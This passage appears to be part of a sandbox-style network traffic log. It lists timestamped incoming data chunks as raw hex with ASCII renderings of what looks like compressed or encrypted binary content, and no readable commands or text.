2c c9 20 6e 2b de 89 63 2e 8f df 8e 09 19 f3 f7 bd 9e 96 12 8a 24 6d 73 20 d1 b4 12 1d ae 81 8a ed 99 33 6e 8b df 43 04 18 f3 10 eb 2a 14 33 9d 4c 59 58 10 ab b9 56 56 e5 97 62 a2 03 3b 62 67 Data Ascii: V`>=b6C#?vY'h]uAQ\n&uaSQiCoob)&[_z8` YrZwfVy &\4,, n+c.$ms 3nC3LYXVVb;bg
2023-05-10 00:21:17 UTC	2352	IN	Data Raw: 5d c6 61 78 6d 9a 34 a0 b5 bd f4 42 3b 1d d2 8d fc 69 f1 01 22 9b a7 52 b6 65 9a c0 8c ba 9e 92 d5 56 ef 3a 7f 90 e4 78 5b 8b 65 2d 51 4b 88 ae 7b a4 be 77 f6 7b 85 c6 77 0d 45 17 bf 77 78 ba cc 4c 88 eb 96 9c 3c 88 73 74 8d b2 77 bf 4f a7 bc 77 aa b4 7a 48 88 08 16 fb 34 88 11 74 ae ac 77 99 de 1a b9 77 22 b7 64 4a 88 2a ff 45 32 88 fe 09 d7 4b 88 03 1e 0c b8 77 2f 42 5c c8 77 b0 28 4d 46 88 e3 33 67 48 88 e1 cf 24 47 e1 e4 be e3 5c de 66 17 e1 5c c7 6b 57 e1 a2 81 7d d5 1d 5d 8c 0c f6 e6 a2 ed 01 0c 1f a3 bf 33 27 12 5d c5 4d bd eb 5c 21 a5 66 e9 5c 9c 08 14 e8 a2 c9 6d b4 1a a3 df 6b a1 08 a3 c8 54 f7 08 a3 c1 71 b7 08 5d 5b e7 35 f4 a2 9e 66 16 0f 5d 9b 73 ec f6 5c b1 19 c7 fb a2 c7 57 5d 02 a3 3b bf 86 00 a3 2e 1c 5f a0 80 e1 94 6d 53 7f b5 b4 b2 cb Data Ascii: ]axm4B;i"ReV:x[e-QK{w{wEwxL<stwOwzH4tww"dJ*E2Kw/B\w(MF3gH$G\f\kW}]3']M\!f\mkTq][5f]s\W];._mS
2023-05-10 00:21:17 UTC	2368	IN	Data Raw: 4f 5e ed be 67 96 cd 47 0b d9 ef e7 12 51 e8 28 57 3a 83 0e 27 39 62 86 be 6f 4c 26 23 33 56 5b bf b0 06 97 2f 4a 81 00 1a 3c 89 ce d4 9d 4f de 87 2f 45 a2 ac 2d 54 eb 01 5d 3f 86 b9 3f 9e 24 9e 58 a9 20 ae de 6a ec 58 74 52 3f 6b f8 4c f3 12 e0 87 10 85 59 a6 de 1d 31 b5 43 9c 56 fa 8f e8 04 7b 28 66 ed 4a 7e 30 bf 12 87 c2 81 ab 27 b7 1b ba aa 6c 3a ae 8b 8d 3f 9e 56 c5 63 e2 01 88 0c cb b8 7d 68 20 9e e9 7a cf 24 b3 4d 27 d2 61 64 83 66 17 51 87 78 2f 2e 32 92 be f0 04 15 d4 81 dc 7a 54 7c 10 c3 f8 cf 36 a2 5e 35 3b 1b 52 ad 33 a8 b8 38 e4 98 86 87 df 17 c0 ff 87 8c c3 0b 4e 9d d6 a1 ad 2e e8 36 31 ab 05 fe 12 03 f6 ff 56 32 23 9c 3c 86 c6 aa 5d 57 61 5e 27 ff 43 af ec e0 f8 3a 3d 28 6a cd e2 19 15 27 41 1d 32 2c 0c 80 56 7b cf 28 6d 53 ae e6 cc db f8 Data Ascii: O^gGQ(W:'9boL&#3V[/J<O/E-T]??$X jXtR?kLY1CV{(fJ~0'l:?Vc}h z$M'adfQx/.2zT\|6^5;R38N.61V2#<]Wa^'C:=(j'A2,V{(mS
2023-05-10 00:21:17 UTC	2384	IN	Data Raw: 72 e7 bd 55 5b 33 66 e0 1b 13 fb 87 23 a4 7f ae d8 4a 29 57 54 9f f0 c2 92 14 e0 1f 94 03 4e d3 ac 94 d2 18 88 10 79 0e de ed eb e7 84 93 af 16 34 42 1c c3 a1 e2 6b 6b b0 5d 8b e8 dd 83 a0 6b 5c 54 4b f5 09 e8 60 20 fb 01 a5 de 5d b6 3f 04 17 0f eb 2b 4f 6b ec b1 7b 95 fb 37 d2 2c 4f 4c 81 8b 19 a8 dd be 10 cf 19 17 dc 18 5d 99 02 b0 70 eb e3 2c 6c 80 13 24 e4 f1 25 4e 43 08 8a 7c 2a 89 86 9f ab 6f 51 96 e5 b6 f7 6b aa 49 64 86 a1 d0 47 62 c9 57 bc 85 96 24 7b 5e 7a 4e ae 09 e8 c9 db 01 c1 e9 d8 fd ba d0 41 70 cc d1 5c 90 ae ed 10 d3 ef 04 63 58 be b8 21 bd 34 df 01 85 83 92 e5 ed a5 b2 c4 c8 e2 e8 30 8d 97 4a d8 6d ec ba 81 70 24 79 c1 86 ee 1e 29 29 e1 ba 45 03 f9 7d 7c f4 e2 e8 6e 13 bb b0 b1 b3 d7 99 b2 83 d0 96 d5 b5 52 13 21 8b 70 21 82 ca c3 5c ef Data Ascii: rU[3f#J)WTNy4Bkk]k\TK` ]?+Ok{7,OL]p,l$%NC\|*oQkIdGbW${^zNAp\cX!40Jmp$y))E}\|nR!p!\
2023-05-10 00:21:17 UTC	2400	IN	Data Raw: b3 c2 e8 6b 57 ef d9 57 9f a0 fe 6f b8 86 d1 67 7c 3f 17 ab 4b 75 b7 a8 39 a2 d4 04 bb b2 ec 64 fe c4 a4 0a cb d5 74 f5 e1 78 0a f2 0c aa 30 f9 c7 b9 eb 6d af d3 a7 ac ad b5 da e2 77 96 7c b4 ca 06 92 b6 6b 29 f0 94 27 66 05 be 8c 7c 56 0c 10 90 13 68 92 ca 66 32 63 ca 4b 52 fa c5 e6 fe 47 99 ca 65 13 c9 4c 85 ac a7 83 5c b2 40 4d b1 9f 34 d7 80 f4 65 15 78 35 e2 a7 15 50 89 d8 80 e4 f8 10 d3 fb 55 ea b4 c3 de b4 15 78 61 bc c5 9f 3a c7 c5 2f cc ef 01 83 f3 e1 97 be c6 e4 e6 9a 31 51 87 0f 54 f2 5c d6 ec 8e 76 c2 85 35 1f 3e 7a 94 e3 86 00 52 3b a2 39 c2 10 e4 66 44 ef ad a8 d3 5d f2 dd 2a ca 52 1a 62 ea 7e 95 35 db 4b 3e 79 82 ff 1a 16 bd 37 f3 d8 b0 30 69 75 d8 06 23 66 1c da 72 d9 15 5f 62 31 b2 f5 38 e9 d4 fd e3 40 29 e4 e7 2b 0b 9f 04 c0 e4 b8 15 ef Data Ascii: kWWog\|?Ku9dtx0mw\|k)'f\|Vhf2cKRGeL\@M4ex5PUxa:/1QT\v5>zR;9fD]*Rb~5K>y70iu#fr_b18@)+
2023-05-10 00:21:17 UTC	2416	IN	Data Raw: 3c 73 2a 9d bb cf 3c 01 ef 31 fc e5 3f 05 c3 05 1b d3 09 4b 1c 75 1e 5a 51 ed 07 6d e5 47 bd e3 ee dd 34 d4 ca 7a a7 51 70 e5 e7 8e 59 44 19 4e 86 8c 00 20 90 e7 93 81 a1 dc 29 8e f2 98 f6 cc 63 4b 67 ef 8a d9 d6 32 ff 45 f2 73 ff b0 dd 96 6e e0 ec 92 d7 41 20 70 46 28 ad 66 b9 46 cf ad 99 63 09 78 d5 93 1d ff 53 78 79 fe 83 c3 6d da 3e 51 f5 b1 d3 c3 35 4f 5b 5e 5f 55 be a3 e4 9e d0 04 e9 26 0c 5c b2 e4 3e d9 0b cc ec e1 9b f7 4d a3 ad 1c f7 54 42 17 4d dc ca b9 ba 4b ba ae 7f a7 1b 37 e4 4a 13 0c 98 e5 81 88 64 bf 6d ee de 00 7e 67 4a fa 45 dd 5c 34 5e 87 ef c0 6f 88 ab 99 9c 0d 29 f3 98 d1 6b 0d 6c 7a a1 a5 08 a4 21 c2 20 0c 2a 55 c2 3e 31 e5 23 2f 99 f4 2c 85 c6 13 fc 97 ca 7a 1c a3 c8 dc 95 5f 9f c8 09 94 07 6b c9 3e c5 b4 14 9c bb 65 93 f4 37 14 d4 Data Ascii: <s<1?KuZQmG4zQpYDN )cKg2EsnA pF(fFcxSxym>Q5O[^_U&\>MTBMK7Jdm~gJE\4^o)klz! U>1#/,z_k>e7
2023-05-10 00:21:17 UTC	2432	IN	Data Raw: d9 99 77 46 1d bd 65 2e c8 f9 ec 2c b5 53 68 03 5f f5 ef 5c fc e4 1b 8e c3 b2 92 46 a8 14 18 65 3c 9a 00 51 81 78 fe ca f3 ce 65 d7 47 a8 53 47 9d 3c f4 5e b0 aa bf 2c 47 82 7d 63 ff 31 a9 34 5f 14 6c f4 54 d7 dd 98 14 e2 86 46 77 3e 07 61 11 9d 6b 27 cd 08 6f 07 75 e8 27 8f 9a 08 e4 17 eb e9 ba 46 00 80 6b 48 c0 10 b9 81 12 81 e8 75 f3 88 7b 55 79 8b f5 4b 4e 6c d0 c6 7f 42 71 2f 41 f0 d2 b7 7b 78 30 a5 85 76 80 a1 7f ba 37 d0 2a 5e 84 0f c1 57 27 27 3c ed 6d 66 a5 3e 8c 3c 39 00 e8 d2 2c 52 d2 63 35 3c 27 24 98 b5 a8 15 c0 7d 89 b4 2a d7 67 dc 6a 5c 71 02 b8 26 61 78 b1 47 2b 03 0d ca a2 21 2a b4 7d 6b 98 e7 b8 44 fc 90 44 2b 28 3d df d8 70 99 ba 9f 9e 33 9a 66 08 fd ae bd 41 4e 44 d9 1c e4 5e 61 d3 f9 08 c0 37 ca 07 57 07 b6 6e b8 38 35 d9 a2 47 e1 25 Data Ascii: wFe.,Sh_\Fe<QxeGSG<^,G}c14_lTFw>ak'ou'FkHu{UyKNlBq/A{x0v7^W''<mf><9,Rc5<'$}gj\q&axG+!*}kDD+(=p3fAND^a7Wn85G%
2023-05-10 00:21:17 UTC	2448	IN	Data Raw: e6 51 e2 b3 7c 86 7f c7 40 e2 35 f8 3b cd 86 52 7b 61 f8 d1 03 79 03 ad 02 4e 54 a9 e3 31 68 4e 67 d0 e0 87 49 03 6f fa 0d 38 fc bc 6c 73 e3 2b 7d e6 80 26 7f 85 6f d9 5b ae 23 fb 19 c6 ef d8 73 3b 4b 5b 62 f4 c4 2a c7 5a f7 3b f8 29 07 73 c3 64 9a 01 96 f4 a8 b7 f4 69 b0 54 7f 89 8f ea 53 f6 49 be ed 01 6e 6f bb 68 81 63 b4 59 f9 df 37 10 e2 ba ca ec f5 97 ab 71 0d 60 df 79 47 ff 04 19 7b ae be 9c 6b e2 11 cc 28 74 8e bd ef 5c 06 0c c9 c2 83 de b1 4b 3b 7d 74 f8 1e f1 6f 74 25 36 18 53 73 15 d5 97 8b 9a e3 de cc 26 6b 4f 08 c6 c8 02 8a e7 bc f1 0a ff 44 95 cf ea 97 1a ae e1 79 8b 3c 6d 58 ec 94 aa 4f 60 85 ce aa 5a 4d ca cc 15 c9 3a 05 99 cb 4b 65 23 be e3 03 f8 fe 86 19 c6 25 5c 44 9c 7f 32 89 f2 c4 ca f8 4c e1 a5 4a 66 3b 28 6c 2e 79 86 c0 b9 c4 a6 d0 Data Ascii: Q\|@5;R{ayNT1hNgIo8ls+}&o[#s;K[b*Z;)sdiTSInohcY7q`yG{k(t\K;}tot%6Ss&kODy<mXO`ZM:Ke#%\D2LJf;(l.y
2023-05-10 00:21:17 UTC	2464	IN	Data Raw: 05 bb 2c 21 b3 ae 1a 08 ef 26 92 5b 4f 5a d3 92 0c 69 7f 85 f8 65 75 35 97 98 af ab e1 4b 0c f5 13 3d d7 5d c7 e4 4b a7 f5 d0 d0 0a fa 95 83 a9 6b 65 d5 1d 70 60 34 88 09 f7 8e 3e 14 af 69 f0 da ab 2d 75 4f 97 74 1d 01 bc cc 4f d3 ad a9 36 65 6a 8e 93 bf 22 07 8f 90 11 b8 2e 46 d1 8f 27 f0 29 27 df 89 5f 92 b4 75 b0 ec 2d fe 85 de 78 23 9b 02 13 e8 99 30 2a a7 c7 06 c7 f3 99 63 8a 0d 39 32 ee e5 5d f5 72 0d 80 88 2b 28 79 e6 6a b7 99 df 17 5f 9e f7 2f 16 8f 31 7c 75 bf 35 d7 f9 69 e1 16 71 7d fd 77 7b 07 63 4c 82 9d 6b 21 19 79 35 e7 d6 2c dd 05 a0 43 d9 8b f7 18 2b 9c c5 f6 1f 6a d4 57 04 37 d9 a6 0c 89 e5 91 6f 1e ec 11 45 36 86 02 01 aa 2d d8 79 8e 23 cb 1f a2 0f 50 45 aa 29 a2 04 0d dd f3 35 29 b2 3d 53 4f 49 b8 a5 82 06 d4 17 e5 65 63 31 58 af ef cf Data Ascii: ,!&[OZieu5K=]Kkep`4>i-uOtO6ej".F')'_u-x#0*c92]r+(yj_/1\|u5iq}w{cLk!y5,C+jW7oE6-y#PE)5)=SOIec1X
2023-05-10 00:21:17 UTC	2480	IN	Data Raw: 0d b3 9d af e5 66 e7 49 b4 c7 c7 bc 59 ec 2c bc 3b 5f 4f 23 27 7c 32 27 fa 72 e0 fc 47 4a c1 d0 ea 5f ea 35 b0 0b 22 57 3e d4 9a 71 cb 8c 5a ce 51 df 6c 88 fb 9c 94 75 ba 53 49 f6 e2 5b 8f 93 8d d1 f8 92 a9 52 de 5f 60 48 e6 bc 6f 21 41 35 32 e0 a6 c6 c3 dd c2 f1 80 55 57 9a 42 c9 d4 c8 28 99 5a 6a 10 75 36 f2 80 92 84 8d 59 4d a9 86 91 c8 f5 9b 10 0c fe 81 7d f5 63 a5 53 bb d4 a3 bb fc 3c c9 eb 32 26 a5 55 87 a4 6d 8c e9 d9 ea 6b 64 56 aa 20 be 9a 54 b8 05 6d de da 3c 2e a1 90 2b e0 96 00 5e 3c 0a 0b 77 e7 28 07 43 1b 22 56 45 d4 92 e7 7c a9 d0 20 b9 84 32 0f 3f 9b 8b cf 24 99 53 f4 97 6c 6e 33 83 e3 c3 dc 1f 86 1c 01 6d 8d f8 43 ef 7e 49 f4 04 66 b4 1a bf 4e 28 cf 3d d0 fe aa 03 0d 51 77 8d 98 51 86 ec b5 0f 2e f3 93 bf 53 9d 16 65 3f 70 8e 86 c9 37 81 Data Ascii: fIY,;_O#'\|2'rGJ_5"W>qZQluSI[R_`Ho!A52UWB(Zju6YM}cS<2&UmkdV Tm<.+^<w(C"VE\| 2?$Sln3mC~IfN(=QwQ.Se?p7
2023-05-10 00:21:17 UTC	2496	IN	Data Raw: 49 e7 a4 ae 61 8e ed 6e 86 a3 37 70 5a c6 f8 01 28 52 52 e1 c1 84 a3 c3 ae a1 bc 92 f7 ef e7 ee 39 73 23 81 86 eb 3c 29 b7 a3 aa 7e 05 0d 24 3a 9f 09 7c 3d 21 97 0e 95 72 92 72 2a 01 b4 89 60 36 5e ef 32 26 b9 a6 44 42 67 40 a2 e8 ee 9d 06 9b 46 52 07 14 e5 3a ca bc eb 6d cc da b9 b3 6b 4c 46 b1 68 1a 87 80 65 56 60 3c 2f 6f a6 cb 26 27 6f 8f 16 5a 15 38 af 4f 51 c7 6a d7 78 35 49 8c 16 30 0b 53 c7 79 18 f4 f3 2f f9 b5 4a 3d c5 55 82 2d 85 c8 d4 be 4a 18 82 d3 a3 b8 4c b8 3a 30 63 7f cd 41 3a 9f 7d f4 9b 71 b6 09 ee 49 59 6d 2d 48 e4 6e a1 f8 49 5a 62 d8 c3 11 d7 3b 73 4d d0 77 e3 c9 24 af c5 42 14 25 51 39 58 65 e8 73 31 ca 16 78 27 03 55 42 db ef e6 36 2c 9c 97 0d 50 4d 96 31 13 c4 16 00 8b 12 96 82 cd 65 04 4e 99 a2 5a 5f 32 dc 77 97 65 54 e8 5c 9c 3d Data Ascii: Ian7pZ(RR9s#<)~$:\|=!rr*`6^2&DBg@FR:mkLFheV`</o&'oZ8OQjx5I0Sy/J=U-JL:0cA:}qIYm-HnIZb;sMw$B%Q9Xes1x'UB6,PM1eNZ_2weT\=
2023-05-10 00:21:17 UTC	2512	IN	Data Raw: 24 46 e6 78 30 73 d9 01 26 07 86 ad d2 17 d1 cd 12 b8 f3 42 42 23 f5 07 49 21 29 61 3e 89 e4 b7 13 bc bc 71 28 28 ce e0 7a 3f ac f3 38 e0 bd dc bb 1f 15 ab 55 35 48 cb 47 e0 12 6e 31 98 a3 88 2b a5 9d 93 eb 24 a3 5f 00 51 cb ad 0c 4c 07 ca 6a c8 0b 15 0b a7 c5 b8 ba 26 8d 01 88 c0 92 ac 05 84 58 3b 42 3e ff 39 e9 e0 25 c0 58 91 fb 9d 06 1a 92 2b b1 e2 1b 21 75 bc 01 fe 78 58 c8 24 3d c8 3a fe a1 8b 68 c0 9a c6 e8 ac 12 76 38 fd 54 55 a4 6b cc 41 2b b3 96 24 ec c1 f7 06 35 66 77 10 54 28 05 f2 de f4 88 70 57 9e 9b d2 4c 02 03 56 b5 c6 c2 11 7e c2 54 ef d7 04 27 79 d0 4a ce 8d c4 73 cd 1f cc 36 06 1c 8b a1 db 59 f8 81 23 80 1a 28 3a aa b2 50 f6 f5 99 52 11 26 03 e1 fa 06 1f 58 9d 43 a2 10 4e 23 ed b9 48 a8 d0 09 e3 ce 9a 10 73 3b f2 ca b9 d6 1e 73 d9 9b d4 Data Ascii: $Fx0s&BB#I!)a>q((z?8U5HGn1+$_QLj&X;B>9%X+!uxX$=:hv8TUkA+$5fwT(pWLV~T'yJs6Y#(:PR&XCN#Hs;s
2023-05-10 00:21:17 UTC	2528	IN	Data Raw: 16 7e c3 4f f8 32 c2 2c 33 44 19 5e dd 5f 66 cf 1c c0 e7 14 1e 00 bd 9e 2f 28 c4 6f 3c ad 77 4e 42 df 29 9d cd cf 78 c9 66 0d 68 f9 c6 06 91 d9 9f 21 2d 24 90 52 bd d9 e1 34 82 2a e6 d9 e2 dc 8e 71 88 bd 6a 31 ee 32 3e d1 24 2e bf 79 eb 24 d5 4f c9 e2 40 f0 b0 6f 19 0c 7d 23 21 ec 64 ab 43 e8 18 46 7d f4 17 0c 54 3c 55 8c 47 9a f6 35 b2 57 70 31 46 9a 44 df df 8f 0e 06 3d 64 5a 9f 09 7b c4 f5 44 25 29 36 7a 41 28 38 55 6b 99 72 9c 51 aa ab c5 f7 94 2c 26 95 ad 66 83 d4 7c df c6 c1 03 be 5e 84 e5 bb 06 94 d5 e9 73 5d 2c 35 5c 98 ee 50 cb 66 ae 8c 6f 54 e4 b0 7b a2 8a 0f f1 4c 31 5b 9d 3f 08 e0 a6 30 b8 0f 07 8c 02 3e f7 57 18 2a 4a e1 4b 34 b1 e6 5a 40 d3 af 48 13 55 e0 fa 15 d4 47 01 b5 88 1e b5 57 d5 bf 42 45 6a 06 85 49 18 45 77 57 17 95 15 cb 4e c8 ab Data Ascii: ~O2,3D^_f/(o<wNB)xfh!-$R4qj12>$.y$O@o}#!dCF}T<UG5Wp1FD=dZ{D%)6zA(8UkrQ,&f\|^s],5\PfoT{L1[?0>WJK4Z@HUGWBEjIEwWN
2023-05-10 00:21:17 UTC	2544	IN	Data Raw: cd 6b fa 76 77 b9 6a 69 f0 79 c7 91 90 f6 b0 90 c2 c7 a0 e5 69 55 3d 27 48 1c 70 bb 1b 72 89 e6 a2 16 cb 2d 4b b8 fe ef 95 d6 c1 57 eb e6 a5 c3 c1 d0 35 46 55 1f d5 26 0c 8c 1e c4 d6 9a 0f b5 44 4b 4e d4 53 76 ea ef b8 7e d1 3d 1a 3b 4c 7a 8f bc d4 9e 5e 4d d6 5e d5 7f 77 9b d9 1b 76 a2 81 73 0f 17 e0 6e a2 c5 2f fa 63 a0 9d f4 eb c5 ce ae 76 c4 dc e2 3a 2a 53 b4 ad 59 e7 93 c0 4c 98 be 40 63 d2 47 ed 80 60 40 97 5e 6d 85 4a 81 35 e9 e3 e6 a2 c3 e3 f1 c1 19 d9 6b fd de 06 4d 1a 03 09 87 a5 c7 24 32 03 ef 6c 2e 63 67 2a 74 d2 7b ee ab d5 34 50 c3 4f 17 27 37 33 15 9a b1 d6 42 90 24 9e 95 dc 23 b5 72 7d eb 73 ee 08 13 50 4b 46 a2 fd 8b 65 c2 85 6a 79 95 c0 f7 af 59 68 e1 fd 75 05 1c 0b c4 74 93 75 fd 76 43 13 9b 32 d3 65 c0 90 26 fc 81 d8 e0 bc c2 66 65 32 Data Ascii: kvwjiyiU='Hpr-KW5FU&DKNSv~=;Lz^M^wvsn/cv:SYL@cG`@^mJ5kM$2l.cgt{4PO'73B$#r}sPKFejyYhutuvC2e&fe2
2023-05-10 00:21:17 UTC	2560	IN	Data Raw: be 42 ca 12 f8 07 04 df 93 e0 4c e1 4a 15 09 69 fa 63 40 79 5e 05 7f 24 18 43 87 49 5b 66 1d b1 a1 70 55 f2 b1 ed e3 70 25 c7 12 5c 8a 0d 95 06 18 e3 ac 35 a9 c5 d8 72 3c b9 0b d2 bb 63 a3 ab 4c 91 8d 23 b4 c4 ed ec 21 67 b7 c9 b1 8b 7e 6a 70 bd 41 26 04 91 0e d6 04 79 ca 14 75 76 39 e1 2c 57 ab 42 70 26 85 b0 14 c9 4a ab 18 d6 23 f1 ed 7c cb 9d f3 81 4e 22 a2 10 64 97 91 f9 37 74 79 8f 42 ef 45 42 17 dd 9d 12 2a 1e 7d 1e 34 ba ca 0e d8 77 7b 49 11 56 54 d0 b1 dd 9d e8 ce cc 15 db cb ef a0 5a f4 2b 9b 56 35 a8 ec 2e dd 74 88 9a 61 94 89 16 6e 59 6b af bc 41 34 01 81 16 72 4c 6b db a7 4a 68 40 5d 6b c6 ad d7 d5 54 c3 a1 8f 23 47 d7 f3 c2 54 23 9b b1 3f d7 41 3a b2 b1 ca 8b 6a 6c 57 09 e0 6e 03 b5 1e 2f 21 2b 76 70 89 23 f7 21 cf 6b 88 8e 63 c5 9b e9 77 b4 Data Ascii: BLJic@y^$CI[fpUp%\5r<cL#!g~jpA&yuv9,WBp&J#\|N"d7tyBEB*}4w{IVTZ+V5.tanYkA4rLkJh@]kT#GT#?A:jlWn/!+vp#!kcw
2023-05-10 00:21:17 UTC	2576	IN	Data Raw: f0 bc 41 e0 2d 09 19 0d 3f c1 a3 60 e0 64 cb a2 bc 7b eb 18 cc bb 2c 1b b9 1d f0 39 fb ea 3a 9b 0b d0 d6 79 d5 7c ae 2e b4 6d 84 32 ac ef f8 7f 95 9f 85 0e ef 64 36 2a 70 3c 51 34 22 1a e7 df 2a c0 c9 92 9b 72 08 fb 56 95 31 49 e7 84 70 dd d7 a9 42 e6 2c 95 5b 1c 50 0f 69 d5 f6 39 45 ff 84 bc 9d 59 ec 6c 5f 5c ff 8f 0c c7 36 51 8c f0 4e 3e d5 1f 0e 91 94 ae c5 a1 52 e9 de 9b 6a 06 a4 79 d1 f8 32 56 89 9a f9 ed 88 e9 5b aa 78 f0 94 51 26 5a 69 fc d6 ba 0d c9 58 b6 b6 53 0a 06 d7 75 50 f6 0e d0 6f 81 2e 11 fe 34 81 a0 c1 11 b1 d0 8d 33 8d 3b 24 be 44 0d 10 1d 75 0b 70 0a 82 60 ad 1d fd 17 6c 7c 9f e9 71 7a 68 d6 2e 88 c1 61 0d 25 28 fe 0b 21 70 45 90 07 d9 60 c6 b2 40 a0 6c e2 08 47 bb 54 1f 44 6b ba a3 15 5d b4 dc c6 c6 f2 ac e8 9e 8b e7 58 cc 73 e6 f4 88 Data Ascii: A-?`d{,9:y\|.m2d6p<Q4"rV1IpB,[Pi9EYl_\6QN>Rjy2V[xQ&ZiXSuPo.43;$Dup`l\|qzh.a%(!pE`@lGTDk]Xs
2023-05-10 00:21:17 UTC	2592	IN	Data Raw: 6b f2 b2 72 18 5e 1e 5b 28 34 27 ad 9f 0e 8e 14 c0 c4 85 ea bb 66 10 2e 9b a1 33 50 2d d3 c7 30 10 e1 2f fb 6b 95 3c 08 0a 90 e6 53 de 59 9d 26 9c a1 47 5b 1a fc 36 09 d8 9f 9c d7 02 57 c2 aa 58 80 3c 1b fe 08 d7 61 14 2a 05 88 d7 c3 a9 cf 7f 14 22 ba 74 e5 ce 7a 2b 57 bb b5 a8 44 3d 9a f2 cf 37 c9 8c 60 4c 21 c5 d4 19 9b ef 8d aa 84 54 50 eb 6e 11 3f 84 ec 89 0f 37 2d 20 22 dd b3 9c 85 31 d6 1a 9f 17 bc 51 de 18 37 04 7f ab 30 67 06 9d f4 1c 25 eb 00 ee ab 7b 18 40 3a 1f 77 f7 91 8b 16 37 1c d7 1c 24 b3 4c 5e 51 b2 be 53 e5 f1 e1 b3 17 d6 4a bb 59 ba 3d 65 72 c3 9f 0d 4d 20 04 51 95 b2 88 ed b6 ac 5b 09 7a 29 f1 8c c8 11 5d ff d9 56 66 1f 76 a4 79 a3 fa 43 66 87 83 d9 38 d9 21 31 d1 e7 83 03 42 44 71 32 39 ab f5 71 05 32 27 60 5e de 33 03 7c 19 4d 12 10 Data Ascii: kr^[(4'f.3P-0/k<SY&G[6WX<a*"tz+WD=7`L!TPn?7- "1Q70g%{@:w7$L^QSJY=erM Q[z)]VfvyCf8!1BDq29q2'`^3\|M
2023-05-10 00:21:17 UTC	2608	IN	Data Raw: c0 0a 38 3b 0f 83 44 40 10 64 c7 fe 76 e4 c6 5d 67 66 09 9b 93 7a 73 6c d8 51 cc 44 34 27 61 ac f3 91 35 c1 4b e7 6c 5d 2b 00 d9 19 42 63 04 ef 32 4e 94 63 17 04 3f 83 d8 91 84 a0 b1 0b f1 4e f6 1b d7 27 fe 98 7e 4a e4 79 8d e5 1f 3c c7 d6 46 e1 52 c8 fe c3 e9 4a f0 e8 5c c6 21 f7 5f c0 0b e7 81 0e 8a 3a c0 08 a4 04 47 0c eb 47 02 47 d2 a1 97 df 2a b5 f0 9a d6 e0 8c 1b bc 40 25 3a 5e b8 4d 73 c7 1b 4b 75 7b 59 33 1f 72 14 27 5d 34 19 b6 10 f8 d8 78 5d b4 0c 09 67 ab c6 fd 70 4f 10 0f eb e8 d8 f1 a2 06 87 b1 f9 bf fb f4 02 ea 6a 34 81 63 e2 61 45 b0 bc 20 7a e0 21 59 57 5c c0 28 ab 00 b7 35 24 6e 04 56 13 57 9b 42 fd d5 1a 37 4c a7 c6 10 50 e7 e3 6a 5f da 66 df 1d 75 90 fb 95 8f 85 0a f6 cf 80 d5 e1 23 89 3c ea 6a d1 47 1c b1 e4 0c 40 08 1d d2 bd 73 36 30 Data Ascii: 8;D@dv]gfzslQD4'a5Kl]+Bc2Nc?N'~Jy<FRJ\!_:GGG*@%:^MsKu{Y3r']4x]gpOj4caE z!YW\(5$nVWB7LPj_fu#<jG@s60
2023-05-10 00:21:17 UTC	2624	IN	Data Raw: 03 95 93 93 5e bd 37 8e ee e4 2c b7 29 c5 b7 1a fd 75 f8 f7 f3 e5 9d 7b e6 94 ba 21 90 52 2e b8 bd 13 0c d0 52 05 50 b9 ed 93 34 20 c0 20 53 c0 75 d1 3f 39 41 43 70 df f2 41 8a d2 8c cf f7 c6 6d c9 2d 84 df 12 3f 12 bf 59 a0 ec f9 2d e6 fa 8d fe 79 4b 34 05 be b2 0b 5f 5d 37 8c 04 b2 d5 99 6e 1f 48 f9 00 a6 9b 90 cc 35 48 84 7f 3b 09 13 f9 9a 2f 10 d3 05 5f 11 61 1b 8e 8f ca 5e 36 1d 9f 9f 13 13 4f 32 9e 58 56 b5 e3 bf 46 1b d3 5a c6 50 d0 62 48 8c 8b 13 dc 01 5c f6 ba b4 76 55 68 ec af f3 35 4e 62 5f 37 28 ed f5 36 48 5d f8 8c ac 58 eb 8d 64 82 54 73 65 2d be be 1a d2 61 67 8f b0 c3 8e cf ce d0 be a1 42 48 ea c5 d4 84 53 f9 a6 89 31 1f bc 7b c3 cc e4 d2 e9 66 2e da d3 bb 5f e7 e7 81 0d f2 f2 6e 2a 34 c0 a8 4a 3c 18 c1 41 95 7d 62 9b c1 5b f1 78 fb be f0 Data Ascii: ^7,)u{!R.RP4 Su?9ACpAm-?Y-yK4_]7nH5H;/_a^6O2XVFZPbH\vUh5Nb_7(6H]XdTse-agBHS1{f._n*4J<A}b[x
2023-05-10 00:21:17 UTC	2640	IN	Data Raw: cd 32 0d 4a 3e 4e 73 67 d4 4c c4 b2 ba 86 5b 95 7a 01 ce 63 ec 3d fd ee 62 88 51 e5 a0 1c 29 ee 45 86 aa 19 d9 39 f6 ba 8d fa 2c 13 0e fa 7c 43 d0 3d 21 b0 4e d9 32 92 b8 d2 76 38 0d bd 17 ec f9 d5 e2 ca a7 bf 4f 76 eb 88 1d 8e ca f4 bb 50 2c bd ae b9 fb a5 21 75 23 76 55 cb 30 cb 2d 7b 0d 37 5b 0b dd a2 29 d0 28 5d e6 f5 a2 8b f3 2d e5 47 32 54 0a 77 3d 50 5d 09 19 85 af 87 a9 58 6f 48 b9 f4 85 b8 6a b2 38 12 52 84 9b 77 ea 9d e6 70 c5 13 bb 33 ae b0 be 73 08 69 b2 9c db 33 cc d8 9a 60 2e 2b ec 66 d2 e6 69 54 ca 98 69 2c e2 37 03 32 fe 29 54 f8 76 05 a7 3e be 71 08 cf a5 c3 dc cf 66 d5 ca f7 e0 6e 21 51 f9 34 56 6e f0 80 b1 1e 90 7d 7f 2e 68 a4 30 52 ff d3 22 5b d5 1d 71 55 f4 84 dd 82 e9 6a 8c b2 6a 99 69 b0 af db 1d ef 1d 8e 63 8f 01 19 5f 44 7e 27 17 Data Ascii: 2J>NsgL[zc=bQ)E9,\|C=!N2v8OvP,!u#vU0-{7[)(]-G2Tw=P]XoHj8Rwp3si3`.+fiTi,72)Tv>qfn!Q4Vn}.h0R"[qUjjic_D~'
